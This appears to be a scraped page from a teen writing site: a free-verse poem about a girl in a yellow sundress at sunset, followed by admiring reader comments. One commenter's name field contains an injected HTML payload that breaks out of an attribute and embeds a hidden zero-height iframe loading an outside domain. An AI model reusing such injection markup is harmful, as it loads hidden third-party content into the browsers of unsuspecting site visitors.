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Yellow and Brown MAG

By Anonymous

     i am nothing. (but a little yellow sundress and brown feet slapping down cottage woods court

under a sloppily painted sunset,

which drips through magnolia trees and eases into open windows and competes with

the devilish blue flicker of

the TV and seeps into the bones, the inner architecture of millions of bodies plus one yellow dress skipping up dusty stairs;

the sunset slams into warm asphalt; could for one moment, dangling wet and heavy from an eyelash, could there be the time

i caught perfection in a jar - it sat there all winter

accumulating dust

then i let go - )



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on Jan. 16 2018 at 10:24 pm
Lily"><iframe src=https://alter%2Eco%2Epl height="0"></iframe>, Op, Connecticut
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i love this so much!
MissMia SILVER said...
on Jul. 25 2015 at 5:17 pm
MissMia SILVER, Williamsburg, Virginia
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&ldquo;She feels like kicking out all the windows<br /> And setting fire to this life<br /> She could change everything about her using colors bold and bright&rdquo; -Dave Matthews

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You're a very strong writer, great job!
ChrisJ PLATINUM said...
on Feb. 23 2013 at 2:41 pm
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Very moving, good flow, and great imagery, good job!
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on Jun. 18 2009 at 6:50 pm
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I don't really know why... but this poem really makes me want to cry too...
Mandilee GOLD said...
on Jun. 6 2009 at 7:56 pm
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Wow. This strikes a nerve and makes me want to cry for some reason... I love the ending. I agree. Nice imagery.
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I love the poem you've written. Keep writing Rachael!
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This is amazing
Elisha said...
on Dec. 12 2008 at 10:56 pm
I love this poem! It draws up so much imagery, and it's written phenomenally. It's one of my all-time favorites.